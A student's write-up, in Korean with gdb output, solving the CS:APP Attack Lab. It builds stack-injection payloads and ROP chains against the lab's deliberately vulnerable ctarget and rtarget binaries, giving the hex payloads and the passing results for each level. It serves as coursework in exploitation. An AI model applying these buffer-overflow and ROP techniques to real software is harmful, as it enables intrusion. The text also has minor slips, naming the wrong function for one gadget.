The Attack Lab: Understanding Buffer Overflow Bugs

20190084 권민재, CSED211

Preface

Using gdb-peda with AT&T syntax.

getbuf

```
unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}
```

```
gdb-peda$ disas getbuf
Dump of assembler code for function getbuf:
   0x0000000000401863 <+0>:  sub    $0x18,%rsp
   0x0000000000401867 <+4>:  mov    %rsp,%rdi
   0x000000000040186a <+7>:  callq  0x401aed <Gets>
   0x000000000040186f <+12>:    mov    $0x1,%eax
   0x0000000000401874 <+17>:    add    $0x18,%rsp
   0x0000000000401878 <+21>:    retq
End of assembler dump.
```

`ctarget`과 `rtarget` 모두 함수 `getbuf`를 이용하여 입력받고 있는데, 여기서 안전하지 못한 함수인 `gets`를 이용하여 입력받고 있는 것을 알 수 있다. `gets`는 입력의 크기를 확인하지 않기 때문에 *buffer overflow* 이하 **bof** 가 일어날 수 있으며, 이를 이용하여 *Part 1*과 *Part 2*를 해결할 것이다. `gdb-peda` 이하 **gdb** 를 이용하여 `getbuf`를 disassembly 해보았을 때, `sub $0x18,%rsp`를 통해 `BUFFER_SIZE`가 0x18임을 알 수 있다. 이제 bof 취약점이 발생하는 곳과, 그 버퍼의 크기를 알았으므로 이를 이용해서 문제를 해결할 것이다.

Part I: Code Injection Attacks

Level 1

분석

Objective

*Level 1*의 목적은 bof를 이용하여 함수 `touch1` 을 실행시키는 것이다. 우리는 이 프로그램에 bof 취약점이 있다는 사실을 알고 있기에, `touch1` 의 주소를 bof를 통해 스택에 존재하는 `ret` 에 쓰면 된다. 원래 익스플로잇을 하기 위해서는 코드 영역의 주소를 leak 해야 하지만, 이 문제는 코드 영역의 주소가 고정되어 있으므로 코드 영역의 주소를 leak 하지 않아도 된다.

Solution

Check Address of `touch1`

```
gdb-peda$ p touch1
$1 = {void ()} 0x401879 <touch1>
```

Compose

	hex	description
<-24>	00 00 00 00 00 00 00 00	buffer for `buf`
<-16>	00 00 00 00 00 00 00 00	buffer for `buf`
<-8>	00 00 00 00 00 00 00 00	buffer for `buf`
rsp → <+0>	79 18 40 00 00 00 00 00	*little endian*으로 패킹된 `touch1` 의 주소 `0x401879`

hex로 입력할 때에는 항상 little endian으로 패킹해야하기 때문에, 앞으로는 little endian으로 패킹했다는 말을 생략하고 표 등에 little endian으로 표현할 것이다.

Answer

sol1.hex

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
79 18 40 00 00 00 00 00
```

Result

```
$ cat sol1.hex | ./hex2raw | ./ctarget -q
Cookie: 0x78960173
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
    user id 84
    course  15213-f15
    lab attacklab
    result  84:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 79 18 40 00 00 00 00 00
```

Level 2

분석

Objective

```
void touch2(unsigned val)
{
    vlevel = 2;
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
```

*Level 2*에서는 `touch2`를 실행시켜서 성공해야하는데, 이때 `touch2`의 인자 `val`이 `cookie`와 같아야 한다. 즉, bof를 이용하여 `touch2`를 실행하되, `rdi`의 값이 `cookie`가 되도록 하여 인자 `val`이 `cookie`가 되도록 하면 이 레벨을 풀 수 있다는 뜻이다.

Code Injection Point

```
gdb-peda$ b *0x0000000000401863
Breakpoint 5 at 0x401863: file buf.c, line 12.
gdb-peda$ r -q
Starting program: /home/beta/beta/CSED/CSED211/ASSN/ASSN3/ctarget -q
Cookie: 0x78960173

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x55586000 --> 0x0
RCX: 0xc ('\x0c')
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0xc ('\x0c')
RDI: 0x60701c --> 0xa333731303639 ('960173\n')
RBP: 0x55685fe8 --> 0x4030e5 --> 0x3a6968003a697168 ('hqi:')
RSP: 0x5560d650 --> 0x401a32 (<test+14>:    mov    %eax,%edx)
RIP: 0x401863 (<getbuf>:    sub    $0x18,%rsp)
R8 : 0x7ffff7fcd700 (0x00007ffff7fcd700)
```

```
R9 : 0xc ('\x0c')
R10: 0x4033f4 ("Type string:")
R11: 0x7ffff7b7fa30 (<__memset_avx2>:   vpxor  %xmm0,%xmm0,%xmm0)
R12: 0x2
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401859 <scramble+1226>:    callq  0x400cf0 <__stack_chk_fail@plt>
   0x40185e <scramble+1231>:    add    $0x38,%rsp
   0x401862 <scramble+1235>:    retq
=> 0x401863 <getbuf>:   sub    $0x18,%rsp
   0x401867 <getbuf+4>: mov    %rsp,%rdi
   0x40186a <getbuf+7>: callq  0x401aed <Gets>
   0x40186f <getbuf+12>:    mov    $0x1,%eax
   0x401874 <getbuf+17>:    add    $0x18,%rsp
[-------------------------------------stack-------------------------------------]
0000| 0x5560d650 --> 0x401a32 (<test+14>:   mov    %eax,%edx)
0008| 0x5560d658 --> 0x2
0016| 0x5560d660 --> 0x401fc9 (<launch+112>:    cmpl   $0x0,0x203558(%rip)
 # 0x605528 <is_checker>)
0024| 0x5560d668 --> 0x0
0032| 0x5560d670 --> 0xf4f4f4f4f4f4f4f4
0040| 0x5560d678 --> 0xf4f4f4f4f4f4f4f4
0048| 0x5560d680 --> 0xf4f4f4f4f4f4f4f4
0056| 0x5560d688 --> 0xf4f4f4f4f4f4f4f4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 5, getbuf () at buf.c:12
12  in buf.c
```

```
gdb-peda$ vmm 0x5560d650
Start              End                Perm  Name
0x55586000         0x55686000         rwxp  mapped
```

`touch2`의 시작에 breakpoint를 잡았을 때 `rsp`가 `0x5560d650`이고, 여기에 스택이 존재하는 것으로 파악할 수 있다. 이때, 이 주소를 이용하여 gdb에서 `vmm 0x5560d650`을 실행시켰을 때, `Perm`이 `rwxp`, 즉 실행 가능한 영역으로 매핑되어 있는 것을 확인할 수 있다. 그렇기 때문에 우리는 스택에 우리가 원하는 코드를 삽입하여 실행시킬 수 있으므로, 스택에 우리가 원하는 인자를 넣은 다음 `pop rdi`, `ret`를 실행시켜서 이 문제를 해결할 것이다.

Solution

Check Address of `touch2`

```
gdb-peda$ p touch2
$2 = {void (unsigned int)} 0x4018a5 <touch2>
```

Check Address of Stack

```
gdb-peda$ reg rsp
RSP: 0x5560d650
```

Compose

	hex	Description
<-24>	00 00 00 00 00 00 00 00	buffer for `buf`
<-16>	00 00 00 00 00 00 00 00	buffer for `buf`
<-8>	00 00 00 00 00 00 00 00	buffer for `buf`
rsp => <+ 0>	68 d6 60 55 00 00 00 00	스택에 인젝션한 코드의 주소 `rsp + 24`
<+ 8>	73 01 96 78 00 00 00 00	Cookie `0x78960173`
<+16>	a5 18 40 00 00 00 00 00	`touch2`의 주소 `0x4018a5`
<+24>	5f	`pop rdi` `getbuf`에서 `ret`를 통해 이 주소로 뛰게 되고, `rsp`는 Cookie 값이 있는 주소를 가리키게 된다. 이때 `pop rdi`를 하면 `rdi`에 우리가 원하는 Cookie 값이 적재되게 된다.
<+32>	c3	`ret` `pop rdi`를 하면서 현재 `rsp`는 `touch2`의 주소를 가리키고 있는데, 이때 `ret`를 하면 우리는 `rdi`에 cookie가 담긴 채로 `touch2`를 실행할 수 있다.

Answer

sol2.hex

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 d6 60 55 00 00 00 00
73 01 96 78 00 00 00 00
a5 18 40 00 00 00 00 00
5f
c3
```

Result

```
$ cat sol2.hex | ./hex2raw | ./ctarget -q
Cookie: 0x78960173
Type string:Touch2!: You called touch2(0x78960173)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
    user id 84
    course  15213-f15
    lab attacklab
    result  84:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 68 D6 60 55 00 00 00 00 73 01 96 78 00 00 00 00
A5 18 40 00 00 00 00 00 5F C3
```

Level 3

분석

Objective

```
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
```

위 코드를 보면, `touch3`에서는 `cookie`의 값을 직접적으로 받지 않고, cookie를 문자열 형태의 주소로 받아서 비교하는 것을 알 수 있다. 그렇기 때문에 우리는 bof를 이용하여 스택에 문자열을 삽입한 다음, 해당 문자열의 주소를 `rdi`에 넣은 후에 `touch3`을 호출하여 이 문제를 해결할 수 있다.

Solution

Check Address of `touch3`

```
gdb-peda$ p touch3
$2 = {void (char *)} 0x4019b6 <touch3>
```

Compose

	hex	Description
<-24>	00 00 00 00 00 00 00 00	buffer for `buf`
<-16>	00 00 00 00 00 00 00 00	buffer for `buf`
<-8>	00 00 00 00 00 00 00 00	buffer for `buf`
rsp => <+0>	78 d6 60 55 00 00 00 00	스택에 인젝션한 코드의 주소 rsp + 40
<+8>	68 d6 60 55 00 00 00 00	문자열의 주소 rsp + 24
<+16>	b6 19 40 00 00 00 00 00	`touch3`의 주소 `0x4019b6`
<+24>	37 38 39 36 30 31 37 33	문자열 `"78960173"`
<+32>	00 00 00 00 00 00 00 00	문자열 null byte
<+40>	5f	pop %rdi `getbuf`에서 `ret`를 수행한 이후에 `rsp`는 문자열의 주소를 가리키고 있기 때문에, pop %rdi를 하면 `rdi`에 cookie가 있는 문자열의 주소를 적재할 수 있다.
<+41>	c3	`ret` pop %rdi를 수행한 이후에 `rsp`는 `touch3`의 주소를 가리키고 있으므로, `ret`를 통해 `rdi`에 문자열 `cookie`의 주소가 담긴 채로 `touch3`을 실행할 수 있다.

Answer

sol3.hex

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 d6 60 55 00 00 00 00
68 d6 60 55 00 00 00 00
b6 19 40 00 00 00 00 00
37 38 39 36 30 31 37 33
00 00 00 00 00 00 00 00
5f
c3
```

Result

```
$ cat sol3.hex | ./hex2raw | ./ctarget -q
Cookie: 0x78960173
Type string:Touch3!: You called touch3("78960173")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
    user id 84
    course  15213-f15
    lab attacklab
    result  84:PASS:0xffffffff:ctarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 D6 60 55 00 00 00 00 68 D6 60 55 00 00 00 00
B6 19 40 00 00 00 00 00 37 38 39 36 30 31 37 33 00 00 00 00 00 00 00 00 5F C3
```

Part II: Return-Oriented Programming

Check Range of `farm`

```
gdb-peda$ p start_farm
$3 = {<text variable, no debug info>} 0x401a4d <start_farm>
gdb-peda$ p mid_farm
$4 = {<text variable, no debug info>} 0x401a89 <mid_farm>
gdb-peda$ p end_farm
$5 = {<text variable, no debug info>} 0x401b6c <end_farm>
```

`ctarget`과 달리 `rtarget`에서는 스택의 주소가 정해져 있지 않고, 실행권한이 없기 때문에 우리는 rop를 이용하여 문제를 해결해야하고, 이때 `farm`에 있는 코드들을 rop의 가젯으로 활용할 수 있기 때문에, `farm`의 범위를 확인해주었다. 앞으로 이 범위 안의 함수들을 활용하여 rop 가젯을 찾아서 이용할 것이다.

Level 2

분석

Objective

```
void touch2(unsigned val)
{
    vlevel = 2;
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
```

`rtarget`의 `level2`는 `ctarget`의 `level2`를 rop를 이용하여 해결하는 것이다. 즉, 우리는 인자 `val`에 쿠키를 넣어서 `touch2`를 실행해야 한다.

Collect Gadgets

Find Gadget to Write to `rdi`

Check `pop` Gadget Exist

```
gdb-peda$ ropsearch "pop ?" 0x401a53 0x401b6c
Searching for ROP gadget: 'pop ?' in range: 0x401a53 - 0x401b6c
0x00401ad3 : (b'5889e0c3')  pop %rax; mov %esp,%eax; retq
0x00401a84 : (b'58909090c3')    pop %rax; nop; nop; nop; retq
0x00401a55 : (b'58909090c3')    pop %rax; nop; nop; nop; retq
0x00401a7e : (b'5b2e1890c3b858909090c3')    pop %rbx; sbb
%dl,%cs:-0x6fa7473d(%rax); nop; nop; retq
```

우선 우리는 `rdi`에 값을 적재해야하기 때문에, `pop %rdi`를 할 수 있는 가젯이 있는지 찾아보아야 한다. 이를 위해 `gdb-peda`의 `ropsearch`를 이용할 것인데, 위와 같이 `farm`에서 `pop %rdi`를 할 수 있는 가젯이 존재하지 않는 것을 알 수 있었다. 즉, 우리는 `rdi`로 값을 넣을 수 있는 다른 가젯을 찾아보아야 할 것이다.

Check `mov` Gadget Exist

```
gdb-peda$ ropsearch "mov ?, rdi" 0x401a53 0x401b6c
Searching for ROP gadget: 'mov ?, rdi' in range: 0x401a53 - 0x401b6c
0x00401a70 : (b'4889c7c3')  mov %rax,%rdi; retq
0x00401a62 : (b'4889c7c3')  mov %rax,%rdi; retq
0x00401a69 : (b'4889c792c3')    mov %rax,%rdi; xchg %eax,%edx; retq
```

```
gdb-peda$ disas 0x00401a70
Dump of assembler code for function addval_138:
   0x0000000000401a6e <+0>: lea    -0x3c3876b8(%rdi),%eax
   0x0000000000401a74 <+6>: retq
End of assembler dump.
```

```
gdb-peda$ x/2i 0x00401a70
   0x401a70 <addval_138+2>: mov    %rax,%rdi
   0x401a73 <addval_138+5>: retq
```

우리는 `rdi`에 값을 쓸 수 있는 다른 가젯을 찾아보아야 하고, 그렇기 때문에 `rdi`로 값을 `mov` 할 수 있는 가젯이 있는지 찾아보았다. `"mov ?, rdi"` 를 옵션으로 farm에서 `ropsearch`를 해본 결과, `mov %rax,%rdi`를 할 수 있는 가젯을 찾을 수 있었다. 이 가젯은 `getval_330`에 위치하는데, 이것을 `0x00401a84`부터 읽기 시작하면 `mov %rax,%rdi; retq;`가 되므로, `mov %rax,%rdi`를 하는 가젯으로 사용할 수 있다. 그러면 이제, `rax`에 우리가 원하는 값을 쓰기 위한 가젯을 찾아볼 것이다.

Find Gadget to Write to `rax`

Check `pop` Gadget Exist

```
gdb-peda$ ropsearch "pop rax" 0x401a53 0x401b6c
Searching for ROP gadget: 'pop rax' in range: 0x401a53 - 0x401b6c
0x00401ad3 : (b'5889e0c3')  pop %rax; mov %esp,%eax; retq
0x00401a84 : (b'58909090c3')    pop %rax; nop; nop; nop; retq
0x00401a55 : (b'58909090c3')    pop %rax; nop; nop; nop; retq
```

```
gdb-peda$ disas 0x00401a84
Dump of assembler code for function getval_330:
   0x0000000000401a83 <+0>: mov    $0x90909058,%eax
   0x0000000000401a88 <+5>: retq
End of assembler dump.
```

```
gdb-peda$ x/5i 0x00401a84
   0x401a84 <getval_330+1>: pop    %rax
   0x401a85 <getval_330+2>: nop
   0x401a86 <getval_330+3>: nop
   0x401a87 <getval_330+4>: nop
   0x401a88 <getval_330+5>: retq
```

우리는 `rax`에 임의의 값을 넣을 가젯을 찾아보아야 하고, 스택에 있는 값을 넣기 위해서는`pop`을 이용할 수 있기 때문에 `pop %rax`를 할 수 있는 가젯을 찾아보아야 한다. 그래서 `"pop rax"` 를 옵션으로 farm에서 `ropsearch`를 해본 결과, 이를 수행할 수 있는 가젯을 찾을 수 있엇다. 이 가젯은 `getval_330`에 존재하는데, 이를 `0x00401a84`부터 읽기 시작하면 `pop %rax; nop; nop; nop; retq`으로 해석되기 때문에 `pop %rax` 를 할 수 있는 가젯으로 쓸 수 있다.

Compose Gadgets

우리는 이제 `pop %rax`를 하는 가젯과 `mov %rax,%rdi`를 하는 가젯이 있으므로 이를 이용해서 이 문제를 해결 할 수 있다. 스택에 `cookie`를 쓴 후 `pop %rax`를 통해 `rax`에 값을 적재하고, `mov %rax,%rdi`를 통해 `rdi`에 `cookie`를 적재한 뒤 `touch2`의 주소를 이용하면 인자에 `cookie`를 넣어서 `touch2`를 호출할 수있다.

Solution

Check Address of `touch2`

```
gdb-peda$ p touch2
$6 = {void (unsigned int)} 0x4018a5 <touch2>
```

Compose

	hex	description
<-24>	00 00 00 00 00 00 00 00	buffer for `buf`
<-16>	00 00 00 00 00 00 00 00	buffer for `buf`
<-8>	00 00 00 00 00 00 00 00	buffer for `buf`
rsp => <+0>	84 1a 40 00 00 00 00 00	Gadget `pop %rax`
<+8>	73 01 96 78 00 00 00 00	Cookie, 0x78960173. `pop %rax`를 통해 `rax`에 적재됨.
<+16>	70 1a 40 00 00 00 00 00	Gadget `mov %rax, %rdi`
<+24>	a5 18 40 00 00 00 00 00	Address of `touch2`, 0x4018a5

Answer

sol4.hex

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
84 1a 40 00 00 00 00 00
73 01 96 78 00 00 00 00
70 1a 40 00 00 00 00 00
a5 18 40 00 00 00 00 00
```

Result

```
$ cat sol4.hex | ./hex2raw | ./rtarget -q
Cookie: 0x78960173
Type string:Touch2!: You called touch2(0x78960173)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
    user id 84
    course  15213-f15
    lab attacklab
    result  84:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 84 1A 40 00 00 00 00 00 73 01 96 78 00 00 00 00
70 1A 40 00 00 00 00 00 A5 18 40 00 00 00 00 00
```

Level 3

분석

Objective

```
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
```

`rtarget`의 `level3`에서는 `ctarget`의 `level3`을 반복하되, rop를 이용하여 이 문제를 해결해야 한다. 즉, 우리는 스택에 cookie 문자열을 삽입한 다음, 그 문자열의 주소를 `touch3`의 인자로 해서 함수를 호출해야 한다.

Collect Gadgets

Find Gadgets to Get `rsp`

```
gdb-peda$ ropsearch "mov ?, ?" 0x401a53 0x401b6c
Searching for ROP gadget: 'mov ?, ?' in range: 0x401a53 - 0x401b6c
... (생략)
0x00401afa : (b'4889e0c3')  mov %rsp,%rax; retq
... (생략)
```

```
gdb-peda$ disas 0x00401afa
Dump of assembler code for function setval_426:
   0x0000000000401af8 <+0>:  movl   $0xc3e08948,(%rdi)
   0x0000000000401afe <+6>:  retq
End of assembler dump.
```

```
gdb-peda$ x/2i 0x00401afa
   0x401afa <setval_426+2>: mov    %rsp,%rax
   0x401afd <setval_426+5>: retq
```

`rtarget`에서는 스택의 주소가 항상 바뀌기 때문에, 우선 `rsp`의 주소를 받을 수 있는 가젯이 있는지 찾아보아야 한다. 그래서 `rsp`의 값을 `mov` 할 수 있는 가젯이 있는지 `ropsearch`를 이용하여 찾아보았고, 그 결과 그를 수행할 수 있는 가젯이 존재하는 것을 알 수 있었다. 해당 가젯은 `setval_426`에 존재하는데, 이를 `0x00401afa`부터 읽으면 `mov %rsp,%rax; retq`가 되므로, 우리는 이것을 `mov %rsp,%rax`를 하는 가젯으로 쓸 수 있다. 이제 우리는 `rax`에 `rsp`의 값을 넣을 수 있으므로, `rax`가 스택에 쓸 수 있는 영역을 가리킬 수 있도록 해야한다.

Find Gadgets to Add `rax`

```
gdb-peda$ ropsearch "add ?, ?" 0x401a53 0x401b6c
Searching for ROP gadget: 'add ?, ?' in range: 0x401a53 - 0x401b6c
0x00401a91 : (b'0437c3')    add $0x37,%al; retq
0x00401a8c : (b'0000c3')    add %al,(%rax); retq
0x00401a8a : (b'01000000c3')    add %eax,(%rax); add %al,(%rax); retq
0x00401a8d : (b'00c3488d0437c3')    add %al,%bl; lea (%rdi,%rsi,1),%rax; retq
0x00401a8b : (b'000000c3488d0437c3')    add %al,(%rax); add %al,%bl; lea
(%rdi,%rsi,1),%rax; retq
```

```
gdb-peda$ disas 0x00401a91
Dump of assembler code for function add_xy:
   0x0000000000401a8f <+0>: lea    (%rdi,%rsi,1),%rax
   0x0000000000401a93 <+4>: retq
End of assembler dump.
```

```
gdb-peda$ x/2i 0x00401a91
   0x401a91 <add_xy+2>: add    $0x37,%al
   0x401a93 <add_xy+4>: retq
```

`rax`가 스택에 쓸 수 있는 영역을 가리킬 수 있도록 해야하므로, `rax`에 `add`를 하는 가젯을 찾아볼 것이다. 왜냐하면 현재 우리는 스택에 값을 쓸 수 있는 상태인데, 해당 값은 `rsp`보다 큰 주소에 쓰이므로, `rax`에 어떤 수를 더할 수 있는 가젯을 찾아서 해당 주소에 cookie 문자열을 써서 문제를 풀 수 있기 때문이다. 그래서 이를 만족하는 가젯을 찾아본 결과, `add_xy`에 해당 가젯이 존재하는 것을 알 수 있었다. `0x00401a91`부터 인스트럭션 단위로 읽으면 `add $0x37,%al; retq`로 해석되기 때문에, `add $0x37,%al`를 하는 가젯을 사용할 수 있다.

Compose Gadgets

`mov %rsp,%rax` 가젯을 이용하여 `rax`에 `rsp`의 값을 넣은 다음, `add $0x37,%al` 가젯을 통해 `rax`의 값을 0x37 증가시킨다. 이때, 우리는 스택의 `rsp+0x37` 위치에 cookie 문자열이 오도록 배치한다. 이후, *Level2*에서 찾았던 `mov %rax, %rdi` 가젯을 이용하여 해당 주소를 `%rdi`에 넣은 후, `touch3`의 주소로 뛰면 이 문제를 해결할 수 있다.

Solution

Check Address of `touch3`

```
gdb-peda$ p touch3
$7 = {void (char *)} 0x4019b6 <touch3>
```

Compose

	hex	Description
<-24>	00 00 00 00 00 00 00 00	buffer for `buf`
<-16>	00 00 00 00 00 00 00 00	buffer for `buf`
<-8>	00 00 00 00 00 00 00 00	buffer for `buf`
rsp => <+0>	fa 1a 40 00 00 00 00 00	Gadget `mov %rsp,%rax`
<+8>	91 1a 40 00 00 00 00 00	Gadget `add $0x37,%al`
<+16>	70 1a 40 00 00 00 00 00	Gadget `mov %rax, %rdi`
<+24>	b6 19 40 00 00 00 00 00	Address of `touch3`, 0x4019b6
<+32>	00 00 00 00 00 00 00 00	buffer for 0x37
<+40>	00 00 00 00 00 00 00 00	buffer for 0x37
<+48>	00 00 00 00 00 00 00 00	buffer for 0x37
<+56>	00 00 00 00 00 00 00	buffer for 0x37
<+63>	37 38 39 36 30 31 37 33	Cookie 문자열 "78960173"
	00	Null byte

Answer

sol5.hex

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fa 1a 40 00 00 00 00 00
91 1a 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
b6 19 40 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
37 38 39 36 30 31 37 33
00
```

Result

```
$ cat sol5.hex | ./hex2raw | ./rtarget -q
Cookie: 0x78960173
Type string:Touch3!: You called touch3("78960173")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
    user id 84
    course  15213-f15
    lab attacklab
    result  84:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 FA 1A 40 00 00 00 00 00 91 1A 40 00 00 00 00 00
70 1A 40 00 00 00 00 00 B6 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 37 38 39 36 30 31 37
33 00
```